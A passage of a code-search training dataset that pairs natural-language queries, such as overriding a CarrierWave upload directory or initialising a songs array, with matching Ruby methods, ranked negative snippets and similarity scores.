"0.541483",
"0.5413981",
"0.54103047",
"0.5401986",
"0.5399725",
"0.5398668",
"0.539625",
"0.5393016",
"0.538686",
"0.5382615",
"0.5379863",
"0.5377774",
"0.5377774",
"0.53770024",
"0.5375689",
"0.5372062",
"0.5366087",
"0.5361891",
"0.5355143",
"0.5353087",
"0.5350608",
"0.53490645",
"0.5348199",
"0.53433293",
"0.53417313",
"0.53349876",
"0.5332025",
"0.5332025",
"0.5328008",
"0.5325087",
"0.53218406",
"0.53139186",
"0.5313315"
] |
0.0
|
-1
|
Override the directory where uploaded files will be stored.
|
def store_dir
"flashcard777/flashcard777/uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def store_dir\n 'file_uploads'\n end",
"def store_dir\n 'uploads'\n end",
"def store_dir\n \"uploads\"\n end",
"def store_dir\n if Rails.env == \"production\"\n ENV['CONFIG_FILE_UPLOAD_PATH']\n else\n \"uploads\"\n end\n end",
"def store_dir\n \"uploads/\"\n end",
"def store_dir\n \"uploads/\"\n end",
"def store_dir\n \"uploads/\"\n end",
"def store_dir\n \"assets/#{Site.current.key}/uploads/\"\n end",
"def store_dir\n \"#{Rails.root}/public/uploads/\"\n end",
"def store_dir\n \"#{Rails.root}/app/files/uploads/#{ENV['PROJECT_ID']}/\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{model.id}\"\n end",
"def store_dir\n \"uploads/imports/\"\n end",
"def store_dir\n configured_upload_path + \"#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n '%suploads/peoplefinder/%s/%s/%s' % [\n base_upload_dir,\n model.class.to_s.underscore,\n mounted_as_without_legacy_prefix,\n model.id\n ]\n end",
"def store_dir\n \"uploads/photos\"\n end",
"def store_dir\n \"uploads/images\"\n end",
"def store_dir\n 'images/uploads'\n end",
"def store_dir\n \"#{Rails.root}/tmp/upload/\"\n end",
"def store_dir\n \"uploads/#{model.request_id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}\"\n end",
"def store_dir\r\n 'uploads/practice-applications'\r\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{model.attachable_id}\"\n end",
"def store_dir\n \"uploads/#{model.id}\"\n end",
"def store_dir\n base_dir = ENV.fetch('FILE_STORE_DIR', \"uploads\")\n if base_dir != \"uploads\"\n public_uploads = File.join(Rails.root, \"public\", \"uploads\")\n FileUtils.symlink(base_dir, public_uploads) unless File.symlink?(public_uploads)\n base_dir = public_uploads\n end\n \"#{base_dir}/#{Rails.env}/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\" \n end",
"def store_dir\n 'uploads/images'\n end",
"def store_dir\n\t\t\"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n\tend",
"def store_dir\n\t\t\"magic_beans/upload/tmp/#{model.id}\"\n\tend",
"def store_dir\r\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\r\n end",
"def store_dir\r\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\r\n end",
"def store_dir\n format(\n '%suploads/peoplefinder/%s/%s/%s',\n base_upload_dir,\n model.class.to_s.underscore,\n mounted_as_without_legacy_prefix,\n model.id\n )\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{model.attachable_type}/#{model.attachable_id}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}_#{mounted_as.to_s.pluralize}\"\n end",
"def _FILESDIR; Config._FILES; end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{partition_dir(model.id)}/#{model.id}\"\n end",
"def store_dir\n cls = \"#{model.class.to_s.underscore}\"\n \"uploads/#{Rails.env}/#{cls}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n \"system/uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n \"system/uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n raise \"Can't upload files for an unknown user!\" unless model.user\n @store_dir = File.join(model.user.upload_dir, mounted_as.to_s, model.id.to_s)\n return @store_dir\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end",
"def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end"
] |
[
"0.7992477",
"0.7737353",
"0.7732477",
"0.7637168",
"0.75621146",
"0.75621146",
"0.75621146",
"0.74223",
"0.73538774",
"0.7319404",
"0.731887",
"0.7304938",
"0.7282087",
"0.72789246",
"0.7272874",
"0.7265028",
"0.72640795",
"0.7233383",
"0.7220581",
"0.72188616",
"0.72019714",
"0.71898586",
"0.71842307",
"0.7169772",
"0.71503866",
"0.71503866",
"0.71503866",
"0.71503866",
"0.71503866",
"0.71340793",
"0.7127244",
"0.71260154",
"0.71103084",
"0.71101177",
"0.7100797",
"0.7100797",
"0.70697135",
"0.70687914",
"0.70649904",
"0.70649904",
"0.70649904",
"0.70649904",
"0.70649904",
"0.70649904",
"0.70649904",
"0.7064965",
"0.7041419",
"0.7040989",
"0.70403975",
"0.7034309",
"0.70058644",
"0.69991505",
"0.69991505",
"0.6994516",
"0.6992561",
"0.6992056",
"0.6992056",
"0.6992056",
"0.6992056",
"0.6992056",
"0.6992056",
"0.6992056",
"0.6992056",
"0.6992056",
"0.6992056",
"0.6992056",
"0.6992056",
"0.6992056",
"0.6992056",
"0.6992056",
"0.6992056",
"0.6992056",
"0.6992056",
"0.6992056",
"0.6992056",
"0.6992056",
"0.6992056",
"0.6992056",
"0.6992056",
"0.6992056",
"0.6992056",
"0.6992056",
"0.6992056",
"0.6992056",
"0.6992056",
"0.6992056",
"0.6992056",
"0.6992056",
"0.6992056",
"0.6992056",
"0.6992056",
"0.6992056",
"0.6992056",
"0.6992056",
"0.6992056",
"0.6992056",
"0.6992056",
"0.6992056",
"0.6992056",
"0.6992056",
"0.6992056"
] |
0.0
|
-1
|
creating an array to store songs created
|
def initialize(name)
@name = name
@songs = []
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def initialize\n @songs = []\n end",
"def initialize\n @songs = []\n end",
"def initialize\n\t\t@songs = Array.new\n\tend",
"def initialize\n @songs = []\n end",
"def initialize\n super\n @songs = []\n end",
"def initialize\n super\n @songs = []\n end",
"def add_song(song)\n @songs << song \n end",
"def create_sample_array\n sample_array = []\n\n\n # add songs to sample-array in correct ratios\n @spins_per_week.each do |k,v|\n v.times { sample_array.push(PL::db.get_song(k)) }\n end\n\n sample_array\n end",
"def add_song(song)\n songs << song\n end",
"def initialize(name)\n @name = name\n @songs =[]\nend",
"def add_song(song)\n @songs << song\nend",
"def import\n @@files_array.collect { |filename| Song.create_from_filename(filename) } \n end",
"def add_song(song)\n songs << song\n end",
"def initialize(name)\n @name = name\n @songs = []\n save #puts instances of songs into empty array?\nend",
"def hardcoded_songs\n [\n Song.new(\"Maroon 5 - This love\", [13, 68, 13, 68, 13, 45, 68, 13]),\n Song.new(\"Ben l'oncle soul - Seven nation army\", [68, 13, 0, 68, 13, 0, 68]),\n Song.new(\"Ornatos Violeta - Para de olhar para mim\", [77, 125, 93, 77])\n ]\n end",
"def songs\n @songs\n end",
"def songs\n @songs\n end",
"def add_song(x)\n \t@songs << x\n end",
"def initialize\n @@songs << self #intilized songs will be added to @@songs\n end",
"def initialize(name)\n @name=name\n #save\n @songs =[]\n end",
"def initialize(name)\n @name = name\n @songs = Array.new\n save()\n end",
"def initialize(name) #give them a name and songs array right off the bat. They will have many songs\n @name = name\n @songs = []\n end",
"def add_song(song)\n @songs << song\n end",
"def add_song(song)\n @songs << song\n end",
"def add_song(song)\n @songs << song\n end",
"def add_song(song)\n @songs << song\n end",
"def add_song(song)\n @songs << song\n end",
"def add_song(song)\n @songs << song\n end",
"def songs\n @songs\n end",
"def songs\n @songs\n end",
"def songs\n @songs\n end",
"def songs\n @songs\n end",
"def songs\n @songs\n end",
"def songs\n @songs\n end",
"def songs\n @songs\n end",
"def songs\n @songs\n end",
"def songs\n @songs\n end",
"def songs\n @songs\n end",
"def add_song(song_name)\n songs << song_name\n end",
"def songs \n @songs\n end",
"def add_songs_to_database\n titles = NprScraper.new.parse_song_title[0]\n artists = NprScraper.new.parse_artist[0]\n titles.zip artists.each do |title,artist|\n song = Song.new\n song.song_title = title\n song.artist = artist\n song.created_at = DateTime.now\n song.updated_at = DateTime.now\n song.save\n end\n end",
"def initialize\n ARTISTS << self\n self.song = []\n self.genre = []\n end",
"def songs \n Song.all.select{|song| add_song(song)}.to_a\n # binding.pry\n end",
"def initialize(name)\n @name = name\n @songs = []\n\n end",
"def initialize(name)\n @name = name \n @songs = []\n end",
"def add_song(song)\n @songs << song\n #here we use the self keyword to refer to the artist on which we are calling this method. We call the =artist method onto the song that is being passed as an argument and set that to self (the artist)\n song.artist = self\n#once we add a new song we want to increase the class array song count\n @@song_count +=1\n end",
"def initialize(name) # an Artist instance is initialized w a name\n @name = name\n @songs = [] # each Artist instance will have many songs and this array will hold those songs\n end",
"def songs\n @songs ||= Song.where(:artist => info(:name))\n end",
"def initialize(name)\n @name=name\n @songs = []\n end",
"def add_a_song(song)\n @list_of_songs.push(song)\n end",
"def add_song(song)\n\t\t@songs <<(song)\n\t\t\n\tend",
"def list(songs)\n song_list = []\n counter = 1\n songs.each do |song|\n song_list.push(\"#{counter}. #{song}\")\n counter += 1\n end\n puts song_list\nend",
"def add_songs(songs)\n songs.each { |song| add_song(song) }\n end",
"def add_songs(songs)\n songs.each { |song| add_song(song) }\n end",
"def add_songs(songs)\n songs.each { |song| add_song(song) }\n end",
"def add_song(song)\n @song_list.push(song)\n end",
"def songs\n \t@songs = Album.find(params[:id])\n songs = RSpotify::Track.search(@songs.name)\n \t@songs = songs.map do |s_songs|\n \tSong.new_from_spotify_song(s_songs)\n end\n render json: {data:@songs}\n end",
"def initialize(name)\n @name = name\n @songs = []\n \n end",
"def songs\n # @@songs.select { |song| song.name == @name }\n @songs\n end",
"def add_song(song_instance)\n songs << song_instance\n end",
"def create\n songs = get_kexp_songs()\n idx = 0\n\n while idx < songs['results'].length\n if songs['results'][idx]['playtype']['name'] != \"Media play\"\n idx += 1\n next\n end\n song_title = songs['results'][idx]['track']['name']\n song_artist = songs['results'][idx]['artist']['name']\n \n if !songs['results'][idx]['release']\n song_album = \"\"\n song_release_year = 0\n song_album_img = \"https://cdn.pixabay.com/photo/2019/04/04/18/50/cassette-4103530_1280.jpg\"\n else\n if song_album_img = songs['results'][idx]['release']['largeimageuri'] == nil\n song_album_img = \"https://cdn.pixabay.com/photo/2019/04/04/18/50/cassette-4103530_1280.jpg\"\n else\n song_album_img = songs['results'][idx]['release']['largeimageuri']\n end\n song_album = songs['results'][idx]['release']['name']\n song_release_year = songs['results'][idx]['releaseevent']['year'].to_i\n end\n \n song_is_local = songs['results'][idx]['artist']['islocal']\n #if song|artist|album don't exist -> create \n if Album.find_by(title: song_album) == nil\n song_artist = song_artist.split('feat.')[0]\n mod_artist = song_artist.strip().gsub(/[^0-9a-z ]/i, '').split(' ').join('+')\n parsed_response = get_song_genre(mod_artist)\n \n #if bad status code -> query by song instead\n if parsed_response[\"status_code\"] > 299 || parsed_response[\"status_code\"] < 200 || parsed_response[\"genre\"] == \"\"\n mod_song = song_title.strip().gsub(/[^0-9a-z ]/i, '').split(' ').join('+')\n parsed_response = get_song_genre(mod_song)\n end\n @album = Album.new(title: song_album, album_img: song_album_img, year: song_release_year, genre: parsed_response[\"genre\"])\n @album.save()\n else \n @album = Album.find_by(title: song_album)\n end\n\n if Artist.find_by(name: song_artist) == nil\n @artist = Artist.new(name: song_artist, is_local?: song_is_local, album: @album)\n @artist.save()\n else \n @artist = Artist.find_by(name: song_artist)\n @artist.update(album: @album)\n end\n if Song.find_by(title: song_title) == nil\n @song = Song.new(title: song_title, artist: @artist)\n @song.save()\n else \n @song = Song.find_by(title: song_title)\n @song.update(artist: @artist)\n end\n idx += 1\n end\n redirect_to songs_path\n end",
"def songs\n @songs\nend",
"def add_song(song)\n @songs << song\n song.artist = self\n @@sounds_count += 1\n\n end",
"def song_ids=(ids)\n ids.each do |id|\n song = Song.find(id)\n self.songs << song\n end\n end",
"def song_ids=(ids)\n ids.each do |id|\n if !id.blank?\n song = Song.find(id)\n \n self.songs << song\n end \n end\n end",
"def initialize\n @@artists << self #artists will be stored at @@artists\n @songs = [] #its empty waiting for to be initilized throu attr_reader\n end",
"def add_song(song)\n @songs.push(song)\n end",
"def initialize(name)\n @name = name\n @songs = []\n self.save\n end",
"def add_song(song)\n song.artist= self\n @songs << song\n end",
"def song_ids\n @song_ids ||= input[\"songs\"].map{|song| song[\"id\"]}\nend",
"def import\n # this method is creating a song from filename\n # Sends filename to the Song class\n files.uniq do |f| \n Artist.all << f\n end \n# \n# Artist.all << songs = files.find do |filename| \n# Song.new_by_filename(filename)\n# \n end",
"def initialize(name) #when song is created a name is mandatory\n @name = name #writes/sets a name to the song\n @@all << self #pushes all song instances into songs class array\n end",
"def add_song(song_to_be_added)\n @songs << song_to_be_added\n end",
"def initialize(name, artist, genre)\n\n @name = name\n @artist = artist\n @genre = genre\n\n @@count +=1\n @@artists << artist #when a new song is initialize, artist shovel to array\n @@genres << genre #when a new genre is intialized, genre shovel to array\n\n end",
"def initialize(song_list = nil)\n @songs = []\n @songs = song_list if song_list # != nil\n end",
"def all_songs\n end",
"def add_song(song) #song = #<Song:0x007fc75eb94420 @genre=#<Genre:0x007fc75eb94498 @name=\"rap\", @songs=[]>, @name=\"99 Problems\">\n\n self.songs << song\n end",
"def initialize(name)\n @name = name\n @songs = []\n end",
"def songs\n Song.all\n end",
"def initialize(name)\n @name = name\n @songs = [] #artist's collection of songs\n end",
"def initialize(name)\n @name = name \n save\n # @songs = [] #song instances from Song\n end",
"def initialize\n # @@artists << self\n super\n @songs = []\n end",
"def initialize(name) #accepts a name for the new artist\n @name = name\n @songs = [] #initialize a songs property set to an empty array\n end",
"def initialize(name)\n # - initialize with empty collection of songs\n @name = name\n @songs = []\n end",
"def add_song(song) #Add the instance of the song to the @songs array (but do NOT add duplicated)\n if @songs.include?(song) == false #So, check first to see if it has been added yet or not.\n @songs << song #Push the song into the array if it has not been added yet\n song.artist = self if song.artist == nil #If no artist (nil) then the Song's artist is self (this instance of the song/artist) Associates the two. else nil #If else (i.e. song is already included in the array, do not add it.)\n end\n end",
"def initialize(name, artist, genre) #pass in these 3 arguments to initialize a song by their parameters\n @name = name #setting instance var to local vars (local vars that are passed in and then saved as an instance)\n @artist = artist\n @genre = genre\n @@all << self #shovel all instances of this class into the empty array\n end",
"def read_tracks music_file\n count = music_file.gets().to_i\n tracks = Array.new\n\n while count > 0\n count -= 1\n \n track = read_track(music_file)\n tracks << track\n end\n tracks\nend",
"def add_song(song)\n self.songs << song\n new_song = Song.new(song)\n new_song.artist = self\n end",
"def initialize(name) # each Song instance is initialized w a name\n @name = name\n @@all << self # everytime a new Song instance is created, we want to track it in the @all array\n end"
] |
[
"0.7599973",
"0.7599973",
"0.7581471",
"0.75659794",
"0.72871",
"0.72871",
"0.7215216",
"0.7194749",
"0.7161651",
"0.7153298",
"0.71460384",
"0.70769423",
"0.707428",
"0.7069525",
"0.7042947",
"0.7035651",
"0.7035651",
"0.7017516",
"0.70081663",
"0.6981768",
"0.6976326",
"0.6966844",
"0.69661456",
"0.69661456",
"0.69661456",
"0.69661456",
"0.69661456",
"0.69661456",
"0.69614416",
"0.69614416",
"0.69614416",
"0.69614416",
"0.69614416",
"0.69614416",
"0.69614416",
"0.69614416",
"0.69614416",
"0.69614416",
"0.6943397",
"0.6929345",
"0.6891259",
"0.68615353",
"0.6857911",
"0.68381155",
"0.68296695",
"0.6820263",
"0.68195415",
"0.6803339",
"0.67963475",
"0.67907935",
"0.6778175",
"0.6751568",
"0.67458576",
"0.67458576",
"0.67458576",
"0.6741471",
"0.67385876",
"0.673324",
"0.67284375",
"0.67147356",
"0.67078185",
"0.66935885",
"0.6682586",
"0.6679833",
"0.66715246",
"0.6657064",
"0.6646185",
"0.66329974",
"0.6629844",
"0.6614641",
"0.6614542",
"0.6576637",
"0.65644133",
"0.65578526",
"0.65519226",
"0.6550095",
"0.6519142",
"0.6466216",
"0.6456718",
"0.644804",
"0.64342356",
"0.6428183",
"0.64278924",
"0.64237374",
"0.64183533",
"0.6393638",
"0.639169",
"0.63877016",
"0.6377728"
] |
0.66732556
|
73
|
Encodes a request msg
|
def encoderequest(sender, target, msg, requestid, filter={}, target_agent=nil, target_collective=nil)
serialized = Marshal.dump(msg)
digest = makehash(serialized)
req = create_request(requestid, target, filter, serialized, @initiated_by, target_agent, target_collective)
req[:hash] = digest
Marshal.dump(req)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def encoderequest(sender, target, msg, requestid, filter={})\n serialized = Marshal.dump(msg)\n digest = makehash(serialized)\n \n @log.debug(\"Encoding a request for '#{target}' with request id #{requestid}\")\n request = {:body => serialized,\n :hash => digest,\n :senderid => @config.identity,\n :requestid => requestid,\n :msgtarget => target,\n :filter => filter,\n :msgtime => Time.now.to_i}\n\n # if we're in use by a client add the callerid to the main client hashes\n request[:callerid] = callerid if @initiated_by == :client\n\n Marshal.dump(request)\n end",
"def encode(msg)\n proc.call msg\n end",
"def encode_body\n body = ''\n body += encode_bits(@connack_flags)\n body += encode_bytes(@return_code.to_i)\n body\n end",
"def encoderequest(sender, target, msg, requestid, filter={})\n @log.debug(\"Encoding a request for '#{target}' with request id #{requestid}\")\n request = {:body => msg,\n :senderid => @config.identity,\n :requestid => requestid,\n :msgtarget => target,\n :filter => filter,\n :msgtime => Time.now.to_i}\n\n # if we're in use by a client add the callerid to the main client hashes\n request[:callerid] = callerid if @initiated_by == :client\n\n YAML.dump(request)\n end",
"def send_request_string( request_name, data, want_reply=false )\n msg = @buffers.writer\n msg.write_string data.to_s\n send_request request_name, msg, want_reply\n end",
"def encoderequest(sender, msg, requestid, filter, target_agent, target_collective, ttl=60)\n req = create_request(requestid, filter, \"\", @initiated_by, target_agent, target_collective, ttl)\n\n ssl_msg = {:ssl_msg => msg,\n :ssl_ttl => ttl,\n :ssl_msgtime => req[:msgtime]}\n\n serialized = serialize(ssl_msg)\n digest = makehash(serialized)\n\n req[:hash] = digest\n req[:body] = serialized\n\n serialize(req)\n end",
"def request(msg)\n print(msg)\n gets.chomp\n end",
"def send(request)\n # clear socket\n puts \"flushing socket\" if @debug\n @socket.flush\n\n puts \"sending request: #{request.inspect}\" if @debug\n response = ''\n @socket.puts request.bencode\n\n while r = @socket.recv(1024)\n response << r\n break if r.length < 1024\n end\n\n puts \"bencoded reply: #{response.inspect}\" if @debug\n response = response.bdecode\n\n puts \"bdecoded reply: #{response.inspect}\" if @debug\n response\n end",
"def encode_body(buffer)\n buffer << action.to_msgpack\n end",
"def send_request(type, msg, flags=NLM_F_REQUEST, sockaddr=SOCKADDR_DEFAULT, seq=next_seq, pid=@pid, vflags=0, controls=[])\n @socket.sendmsg(\n build_message(type, msg, flags, seq, pid),\n vflags, sockaddr, *controls\n )\n end",
"def raw_request_message(params)\n params[:api_id] = api_id\n params[:api_partialkey] = api_key.slice(0, 64)\n JSON.generate(params)\n end",
"def send_request(request)\n message = RemoteMessage.new(request_message: request).serialize_to_string\n message_size = [message.length].pack('N')\n @ssl_client.write(message_size + message)\n end",
"def send(request)\n # Translate path so that underscores are converted to minuses\n # Don't change the original input value\n request.path = request.path.gsub('_', '-')\n request.tag = 0\n data = request.serialize_to_string\n # An additional header is added to the request indicating the size of the request\n head = [data.length].pack(\"N\")\n logger.trace('Sending') {request.to_hash}\n @socket.write(head+data)\n end",
"def encode\n \"#{global_id}|#{message_id}|#{channel.gsub(\"|\", \"$$123$$\")}|#{data}\"\n end",
"def encode(msg)\n doc = REXML::Document.new\n doc << REXML::XMLDecl.default\n root = doc.add_element(\"fipa-message\", { \"act\" => msg.performative, \"conversation-id\" => msg.conversation_id })\n msg.receivers.each do |recv|\n el = root.add_element(\"receiver\")\n el.add_element(\"agent-identifier\")\n end\n el = root.add_element(\"sender\")\n el.add_element(\"agent-identifier\")\n root.add_element(\"content\", { \"href\" => nil })\n root.add_element(\"language\", { \"href\" => nil })\n root.add_element(\"encoding\", { \"href\" => nil })\n root.add_element(\"ontology\", { \"href\" => nil })\n root.add_element(\"protocol\", { \"href\" => nil })\n root.add_element(\"reply-with\", { \"href\" => nil })\n root.add_element(\"in-reply-to\", { \"href\" => nil })\n root.add_element(\"reply-by\", { \"time\" => nil, \"href\" => nil })\n el = root.add_element(\"reply-to\")\n msg.reply_to.each do |repl|\n el.add_element(\"agent-identifier\")\n end\n root.add_element(\"conversation-id\", { \"href\" => nil })\n root.add_element(\"user-defined\")\n doc.to_s\n end",
"def encode\r\n self.offset *= -1 if self.negate\r\n actual_offset = self.offset\r\n\r\n # We invert the offset used if we are trying to decode the message\r\n actual_offset *= -1 if self.mode == :decode\r\n\r\n msg = self.message.chars.map do |ch|\r\n case ch\r\n when \"A\"..\"Z\"\r\n idx = ALPHABET_UPPER.index(ch)\r\n ALPHABET_UPPER[(idx + actual_offset) % 26]\r\n when \"a\"..\"z\"\r\n idx = ALPHABET_LOWER.index(ch)\r\n ALPHABET_LOWER[(idx + actual_offset) % 26]\r\n when \"0\"..\"9\"\r\n idx = NUMBERS.index(ch)\r\n NUMBERS[(idx + actual_offset) % 10]\r\n else\r\n ch\r\n end\r\n end.join\r\n\r\n self.print <<~HEREDOC\r\n Message #{ self.mode == :decode ? \"decoded\" : \"encoded\" } with offset #{ self.offset }:\r\n\r\n #{ msg }\r\n HEREDOC\r\n end",
"def encode_body(buffer)\n buffer << prior_action_ids.to_msgpack\n end",
"def channel_request( type )\n writer = @buffers.writer\n writer.write_byte CHANNEL_REQUEST\n writer.write_long 0 # channel id\n writer.write_string type\n writer.write_byte 0 # want_confirm\n \n @session.send_message writer\n end",
"def encode_begin(real_payload, reqs)\n end",
"def encode_end(real_payload, reqs, encoded)\n encoded\n end",
"def encode_message(type, body)\n if type.is_a? Integer\n type_num = type\n elsif type.is_a? String\n type_num = type.ord\n else\n fail ArgumentError, 'type must be a String or Integer'\n end\n\n [UNFRAGMENTED_HEADER, type_num ].pack('NC') + body\n end",
"def format_request(payload); end",
"def format_request(payload); end",
"def encode_body\n if @return_codes.empty?\n raise 'no granted QoS given when serialising packet'\n end\n body = encode_short(@id)\n return_codes.each { |qos| body += encode_bytes(qos) }\n body\n end",
"def send_request(req); end",
"def send msg\n rencoded = REncode.dump([msg]).pack('C*')\n #rencoded = [193, 196, 1, 139, 100, 97, 101, 109, 111, 110, 46, 105, 110, 102, 111, 192, 102].pack('C*')\n compressed = Zlib::Deflate.deflate(rencoded)\n raw = compressed.bytes\n\n # all commented out stuff is for version 4, which we do not yet support\n # Store length as a signed integer (using 4 bytes), network byte order\n # header = [raw.length].pack('N').bytes\n\n #every message begins with an ASCII 'D'\n # header.insert(0, 'D'.ord)\n\n # header_str = header.pack('C*')\n message_str = raw.pack('C*')\n\n # puts \"Writing header:\"\n # p header_str.bytes\n # puts\n # puts \"Writing message:\"\n # p rencoded.bytes\n # puts\n\n\n # @con.write(header_str)\n @con.write(message_str)\n @con.flush\n\n nil\n end",
"def started_request_message(*args)\n \"\"\n end",
